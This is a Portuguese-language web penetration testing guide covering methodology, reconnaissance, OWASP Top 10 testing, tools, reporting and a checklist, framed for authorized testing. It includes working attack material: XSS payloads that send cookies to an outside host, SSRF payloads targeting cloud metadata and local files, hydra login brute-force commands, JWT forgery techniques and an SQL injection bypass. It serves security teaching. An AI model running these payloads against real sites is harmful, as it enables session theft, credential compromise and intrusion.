[WEB PENTESTING]

Guia Completo — Encontrando Falhas em Sites

Metodologia Profissional · Ferramentas · Exploração · Relatório

---

■ Use apenas em ambientes com autorização explícita. Pentest não autorizado é crime.

#	Fase / Seção	Conteúdo
01	Metodologia	PTES, OWASP Testing Guide, fases do pentest
02	Reconhecimento	OSINT, subdomain enum, tecnologias, portas
03	Mapeamento da Superfície	Endpoints, parâmetros, autenticação, JS analysis
04	Vulnerabilidades Web	OWASP Top 10 — como testar cada uma
05	XSS & CSRF	Tipos, payloads, bypass de filtros, impacto
06	Auth & Session	Brute force, IDOR, JWT, session fixation
07	Misconfigurations	CORS, headers, HTTPS, exposição de arquivos
08	Ferramentas Essenciais	Burp Suite, nmap, ffuf, nikto, nuclei, amass
09	Relatório Profissional	Estrutura, CVSS, evidências, remediação
10	Checklist Completo	Pontos de verificação por categoria

01 // METODOLOGIA

Pentest web profissional segue metodologias estruturadas para garantir cobertura completa, reprodutibilidade e documentação adequada. As principais referências são o PTES (Penetration Testing Execution Standard) e o OWASP Testing Guide (OTG).

Fases do Pentest Web

Fase	Objetivo	Duração típica
1. Planejamento	Escopo, autorização, regras de engajamento	~10% do tempo
2. Reconhecimento	Coletar informações públicas e técnicas	~20%
3. Mapeamento	Entender a superfície de ataque completa	~20%
4. Exploração	Identificar e validar vulnerabilidades	~35%
5. Pós-Exploração	Impacto real, persistência, lateral move	~5%
6. Relatório	Documentar, classificar, recomendar fixes	~10%

OWASP Top 10 — 2021

ID	Vulnerabilidade	Severidade
A01	Broken Access Control	CRÍTICA
A02	Cryptographic Failures	ALTA
A03	Injection (SQL, XSS, etc.)	CRÍTICA
A04	Insecure Design	ALTA
A05	Security Misconfiguration	ALTA
A06	Vulnerable & Outdated Components	MÉDIA
A07	Identification & Authentication Failures	ALTA
A08	Software & Data Integrity Failures	ALTA
A09	Security Logging & Monitoring Failures	MÉDIA
A10	Server-Side Request Forgery (SSRF)	ALTA

02 // RECONHECIMENTO (RECON)

Reconhecimento Passivo — OSINT

Coleta de informações sem interagir diretamente com o alvo. Zero risco de detecção.

Google Dorks — Pesquisas avançadas:

```
site:alvo.com -- todas páginas indexadas site:alvo.com filetype:pdf -- documentos expostos site:alvo.com inurl:admin -- painéis admin site:alvo.com intitle:"index of" -- directory listing "alvo.com" ext:sql OR ext:bak -- backups vazados site:alvo.com inurl:login OR inurl:wp-admin "@alvo.com" site:linkedin.com -- emails de funcionários
```

Ferramentas OSINT:

```
# WHOIS — dono do domínio whois alvo.com # DNS — registros do domínio nslookup alvo.com dig alvo.com ANY # Certificados SSL (subdomain enum) curl https://crt.sh/?q=%.alvo.com&output;=json | jq # Wayback Machine — versões antigas do site curl 'http://web.archive.org/cdx/search/cdx?url=alvo.com/*&output;=text'
```

Enumeração de Subdomínios

```
# Amass (completo) amass enum -d alvo.com -o subdomains.txt # Subfinder (rápido) subfinder -d alvo.com -o subdomains.txt # Brute force de subdomínios ffuf -w /usr/share/wordlists/dns/subdomains-top1million.txt \ -u https://FUZZ.alvo.com -fc 404 # DNSx — resolver e filtrar vivos cat subdomains.txt | dnsx -silent -a -resp
```

Reconhecimento Ativo — Scan de Portas

```
# Scan rápido (portas comuns) nmap -sV -sC -T4 alvo.com -oN scan_resultado.txt # Scan completo (todas as portas) nmap -sV -p- --min-rate=5000 alvo.com # Portas web específicas nmap -sV -p 80,443,8080,8443,8000,3000,4000 alvo.com # Detectar WAF wafw00f https://alvo.com
```

Identificação de Tecnologias

```
# Whatweb — stack tecnológico whatweb https://alvo.com # Headers HTTP (revela servidor, frameworks) curl -I https://alvo.com # Wappalyzer — extensão de browser # Detecta: CMS, linguagem, CDN, analytics # BuiltWith.com — histórico de tecnologias # retire.js — libs JS vulneráveis npx retire --url https://alvo.com
```

03 // MAPEAMENTO DA SUPERFÍCIE DE ATAQUE

Directory & File Brute Force

```
# ffuf — fuzzing de diretórios ffuf -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u https://alvo.com/FUZZ -mc
200,301,302,403 # ffuf — extensões de arquivo ffuf -w wordlist.txt -u https://alvo.com/FUZZ \ -e
.php,.asp,.aspx,.jsp,.bak,.sql,.env,.git,.config # gobuster gobuster dir -u https://alvo.com -w
wordlist.txt \ -x php,html,js,txt,bak -t 50 # feroxbuster (recursivo) feroxbuster -u
https://alvo.com -w wordlist.txt --depth 3
```

Arquivos Sensíveis Comuns

Arquivo / Path	O que pode revelar
/.env	Credenciais, API keys, DB password
/.git/config	Repositório Git exposto (código-fonte)
/robots.txt	Caminhos ocultos (admin, backup, etc.)
/sitemap.xml	Mapa de todos os endpoints
/wp-config.php	Config WordPress com credenciais DB
/phpinfo.php	Versões, configurações, paths do servidor
/backup.zip / .tar.gz	Backup completo da aplicação
/.htaccess	Regras de reescrita, senhas básicas
/api/swagger.json	Documentação completa da API
/actuator (Spring Boot)	Métricas, env vars, endpoints internos

JavaScript Analysis — Segredos no Frontend

```
# Baixar todos os JS do site wget -r -A '*.js' https://alvo.com/ # Buscar chaves/tokens/senhas
em JS grep -rE '(api_key|apikey|secret|password|token|AWS|private_key)' *.js # Extrair endpoints
da API embutidos no JS grep -rE '(fetch|axios|http|/api/)' *.js | grep -oE '"[/][^"]+"' #
LinkFinder — automatiza extração de endpoints python3 linkfinder.py -i https://alvo.com -d -o
cli
```

Análise de Parâmetros com Burp Suite

- Ative o Proxy e navegue pelo site completo (autenticado e não autenticado)
- Use o Spider/Crawler para mapear automaticamente todos os endpoints
- Exporte o histórico para analisar todos os parâmetros identificados
- Use o Param Miner (extensão) para descobrir parâmetros ocultos
- Identifique parâmetros que refletem dados: busca, redirecionamento, IDs

04 // VULNERABILIDADES WEB — COMO TESTAR

A01 — Broken Access Control (IDOR)

Ocorre quando usuários acessam recursos de outros usuários manipulando IDs ou parâmetros.

```
# URL com ID — tente outros IDs https://alvo.com/api/user/1337 → troque para 1336, 1338 https://alvo.com/invoice/download?id=5 → tente id=4, id=6 # Com dois usuários diferentes (A e B): 1. Logue como usuário A, pegue seu cookie/token 2. Acesse recurso de A: GET /api/orders/100 3. Logue como B, tente acessar /api/orders/100 4. Se retornar dados de A → IDOR confirmado! # UUID → tente Base64 decode / hex GET /profile/dXNlcjoxMjM= → base64 decode → user:123
```

A02 — Cryptographic Failures

```
# Verificar HTTPS forçado curl -I http://alvo.com → deve redirecionar para HTTPS # Verificar certificado SSL ssl-checker alvo.com openssl s_client -connect alvo.com:443 # Dados sensíveis em trânsito / armazenamento # Procurar por: senhas em texto claro, MD5/SHA1, tokens em URL grep -r 'MD5\|sha1\|base64' cookies/localStorage # Testssl.sh — auditoria completa de TLS testssl.sh alvo.com
```

A04 — Insecure Design / Business Logic

Falhas de lógica não seguem padrões — precisam de raciocínio criativo:

- Preços negativos em carrinho de compras (quantidade = -1)
- Aplicar cupom de desconto múltiplas vezes
- Pular etapas de um fluxo (step 1 → step 3 direto)
- Transferir valor maior que o saldo (race condition)
- Usar token de reset de senha depois de já ter resetado
- Acessar funcionalidade premium sem pagar (manipular flag)

A05 — Security Misconfiguration

```
# Nikto — scan de misconfigurations nikto -h https://alvo.com # Nuclei — templates de misconfiguration nuclei -u https://alvo.com -t misconfiguration/ nuclei -u https://alvo.com -t exposures/ # Headers de segurança ausentes curl -I https://alvo.com | grep -E \ '(X-Frame|Content-Security|X-Content-Type|Strict-Transport|Referrer)'
```

05 // XSS & CSRF

Cross-Site Scripting (XSS) — Tipos

Tipo	Persistência	Como funciona
Reflected	Não persiste	Payload no input → refletido na resposta imediata
Stored	Persiste no DB	Payload salvo → executado em cada visita
DOM-Based	Client-side	JS manipula DOM com dados não sanitizados
Blind XSS	Não visível	Executa em painel admin / área inacessível

Payloads XSS — Detecção e Bypass

```
# Basico — testar reflexao <script>alert(1)</script> "><script>alert(1)</script>
'"--><script>alert(1)</script> # Event handlers (quando script e bloqueado) <img src=x
onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input autofocus
onfocus=alert(1)> # Bypass de filtros de aspas <script>alert`1`</script> <img src=x
onerror=alert(1)> # XSS para roubar cookie
<script>document.location='https://seusite.com/log?c='+document.cookie</script> # Payload com
fetch (moderno) <script>fetch('https://seusite.com/'+document.cookie)</script>
```

CSRF — Cross-Site Request Forgery

CSRF força um usuário autenticado a executar ações não intencionais. Teste:

```
1. Intercepte uma requisição de ação sensível (troca de email, senha, transferência) 2.
Verifique se há token CSRF no body ou header 3. Se não houver → tente fazer a requisição de
outro domínio 4. Crie um HTML de PoC e abra no browser: document.forms[0].submit()
```

06 // AUTENTICAÇÃO E SESSÃO

Brute Force de Login

```
# Hydra — brute force HTTP hydra -l admin -P /usr/share/wordlists/rockyou.txt \ alvo.com http-post-form \ '/login:user=^USER^&pass;=^PASS^:Invalid credentials' # ffuf — brute force de senha ffuf -w passwords.txt -u https://alvo.com/login \ -X POST -d 'user=admin&pass;=FUZZ' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -fc 401 # Medusa medusa -h alvo.com -u admin -P wordlist.txt -M http -m DIR:/login
```

JWT — JSON Web Token

```
# Decodificar JWT (sem verificar assinatura) echo 'eyJhb...' | base64 -d # Ataque 1: Algoritmo "none" (sem assinatura) # Modifique o header: {"alg":"none","typ":"JWT"} # Remova a assinatura → token aceito sem validação! # Ataque 2: HS256 com secret fraco hashcat -a 0 -m 16500 token.jwt wordlist.txt john --wordlist=wordlist.txt --format=HMAC-SHA256 token.jwt # Ataque 3: Confusão RS256 → HS256 # Assine com a chave pública como secret HMAC # jwt_tool — kit completo python3 jwt_tool.py TOKEN -T # tamper interativo
```

Testes de Sessão

- Session fixation: o ID de sessão muda após o login?
- Session timeout: sessão expira após inatividade?
- Logout efetivo: o token é invalidado no servidor ao fazer logout?
- Cookie flags: HttpOnly, Secure, SameSite presentes?
- Previsibilidade: o session ID é aleatório ou sequencial/previsível?
- Parallel sessions: múltiplas sessões simultâneas são permitidas?

07 // MISCONFIGURATIONS

Headers de Segurança

Header	Valor Ideal	Risco se ausente
Content-Security-Policy	default-src 'self'	XSS, data injection
X-Frame-Options	DENY ou SAMEORIGIN	Clickjacking
X-Content-Type-Options	nosniff	MIME sniffing
Strict-Transport-Security	max-age=31536000	MITM / downgrade
Referrer-Policy	strict-origin-when-cross-origin	Vazamento de URL
Permissions-Policy	camera=(), microphone=()	Abuso de hardware
X-XSS-Protection	0 (use CSP em vez)	Obsoleto mas verificar

CORS — Testando Má Configuração

```
# Enviar Origin arbitrária e ver se é refletida curl -H 'Origin: https://evil.com' \ -I
https://alvo.com/api/user # Resposta vulnerável: # Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true # Null Origin (perigoso em alguns casos) curl -H
'Origin: null' -I https://alvo.com/api/data
```

Server-Side Request Forgery (SSRF)

Forçar o servidor a fazer requisições para endereços internos:

```
# Parâmetros que fazem fetch de URLs externas: ?url=https://alvo.com ?redirect=https://...
?image=https://... ?fetch=... # Payloads SSRF https://alvo.com/fetch?url=http://127.0.0.1
https://alvo.com/fetch?url=http://169.254.169.254/latest/meta-data/ # AWS metadata
https://alvo.com/fetch?url=http://192.168.1.1 # rede interna
https://alvo.com/fetch?url=file:///etc/passwd # leitura de arquivo local
```

08 // FERRAMENTAS ESSENCIAIS

Ferramenta	Categoria	Uso Principal
Burp Suite	Proxy / Scanner	Interceptação, fuzzing, scanner ativo/passivo
nmap	Port scanner	Descoberta de portas, serviços, OS
ffuf	Fuzzer	Dir brute force, parâmetros, subdomínios
nuclei	Scanner vuln	Templates prontos para centenas de CVEs
nikto	Web scanner	Misconfigurations, versões vulneráveis
sqlmap	SQL Injection	Detecção e exploração automatizada de SQLi
amass	OSINT / Recon	Enumeração de subdomínios e superfície
subfinder	Subdomain enum	Rápido, usa APIs passivas
gobuster/ffuf	Brute force	Diretórios, vhosts, DNS
hydra	Brute force auth	Login HTTP, SSH, FTP, SMB...
jwt_tool	JWT testing	Decode, tamper, crack de tokens JWT
whatweb	Fingerprint	Detecção de tecnologias do servidor
wafw00f	WAF detection	Identifica Web Application Firewalls
testssl.sh	TLS/SSL audit	Análise completa de configuração TLS
dalfox	XSS scanner	Detecção automatizada de XSS

Comandos Nuclei Úteis

```
# Scan completo com todos os templates nuclei -u https://alvo.com -t /root/nuclei-templates/ # Por categoria nuclei -u https://alvo.com -t cves/ nuclei -u https://alvo.com -t exposures/ nuclei -u https://alvo.com -t misconfiguration/ nuclei -u https://alvo.com -t vulnerabilities/ # Por severidade nuclei -u https://alvo.com -severity critical,high # Em lista de alvos nuclei -l targets.txt -t cves/ -o resultados.txt
```

09 // RELATÓRIO PROFISSIONAL

Um bom relatório é o que diferencia um pentester amador de um profissional. O cliente paga pelo relatório — a exploração é o meio, não o fim.

Estrutura do Relatório

Seção	Conteúdo
Sumário Executivo	Visão geral para diretores — sem termos técnicos. Risco geral (Alto/Médio/
Escopo e Metodologia	O que foi testado, como, quando e por quem
Resumo de Achados	Tabela com todas as vulns encontradas + severidade CVSS
Vulnerabilidades	Detalhes de cada falha: descrição, impacto, evidência, remediação
Conclusão	Postura de segurança geral + roadmap de correção priorizado
Apêndices	Logs raw, screenshots adicionais, ferramentas usadas

CVSS — Classificação de Severidade

Score	Severidade	Prazo para correção
9.0 – 10	CRÍTICA	Imediato (24–72h)
7.0 – 8.9	ALTA	Urgente (1–2 semanas)
4.0 – 6.9	MÉDIA	Planejado (1 mês)
0.1 – 3.9	BAIXA	Monitorar (trimestral)
0.0	INFORMATIVO	Boas práticas

Template de Vulnerabilidade

```
TITULO: SQL Injection em /api/login — Parâmetro 'username' SEVERIDADE: Critica (CVSS 9.8) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H DESCRICAO: O parametro 'username' no endpoint POST /api/login nao valida nem sanitiza o input, permitindo injecao de comandos SQL. EVIDENCIA: Request: POST /api/login Body: username=admin'--&password;=qualquer Response: 200 OK + token de admin (bypass de autenticacao) IMPACTO: Acesso total como administrador sem credenciais. Possivel dump completo do banco de dados incluindo senhas de todos os usuarios. REMEDIACAO: Usar Prepared Statements: cursor.execute('SELECT * FROM users WHERE user=%s', (username,)) REFERENCIAS: CWE-89 | OWASP A03:2021 | CVE similar: CVE-2024-XXXX
```

10 // CHECKLIST COMPLETO DE WEB PENTEST

[RECONHECIMENTO]

- ■ WHOIS, DNS, certificados SSL analisados
- ■ Subdomínios enumerados (amass, subfinder, crt.sh)
- ■ Google Dorks executados para arquivos expostos
- ■ Stack tecnológico identificado (whatweb, Wappalyzer)
- ■ Portas e serviços mapeados (nmap)
- ■ WAF identificado (wafw00f)

[MAPEAMENTO]

- ■ Directory brute force executado (ffuf, gobuster)
- ■ Arquivos sensíveis verificados (.env, .git, backup)
- ■ JavaScript analisado para endpoints e segredos
- ■ robots.txt e sitemap.xml analisados
- ■ Todos os formulários e parâmetros mapeados
- ■ API documentation encontrada (Swagger, OpenAPI)

[AUTENTICAÇÃO]

- ■ Brute force de login testado (hydra, ffuf)
- ■ Rate limiting verificado (bloqueio após N tentativas?)
- ■ JWT vulnerabilidades testadas (none, weak secret)
- ■ Reset de senha analisado (token previsível? reutilizável?)
- ■ Multi-factor authentication bypassado
- ■ Session fixation testado
- ■ Logout invalida token no servidor?

[CONTROLE DE ACESSO]

- ■ IDOR testado em todos os endpoints com IDs
- ■ Acesso horizontal testado (user A acessa dados de user B)
- ■ Acesso vertical testado (user comum acessa área admin)
- ■ Endpoints admin acessíveis sem autenticação?
- ■ Manipulação de roles/grupos testada

[INJEÇÕES]

- ■ SQL Injection testado (todos os parâmetros)
- ■ XSS Reflected testado em campos de busca/input
- ■ XSS Stored testado em campos persistentes
- ■ Command Injection testado (ping, nslookup, etc.)
- ■ SSTI (Server-Side Template Injection) testado
- ■ XXE (XML External Entity) testado em uploads XML
- ■ LDAP Injection testado (se login via LDAP)

[CONFIGURAÇÕES]

- ■ Headers de segurança verificados (CSP, HSTS, X-Frame...)
- ■ CORS testado com Origin arbitrária
- ■ HTTPS forçado em todas as páginas?
- ■ Informações de versão em headers removidas?
- ■ Directory listing desabilitado?

- ■ Error handling genérico (sem stack traces)?
- ■ SSRF testado em parâmetros de URL/redirect

[LÓGICA DE NEGÓCIO]

- ■ Fluxo de compra/pagamento manipulado
- ■ Cupons / descontos aplicados múltiplas vezes
- ■ Etapas de processo puladas (step 1 → 3)
- ■ Valores negativos ou zero testados
- ■ Race conditions testadas em operações críticas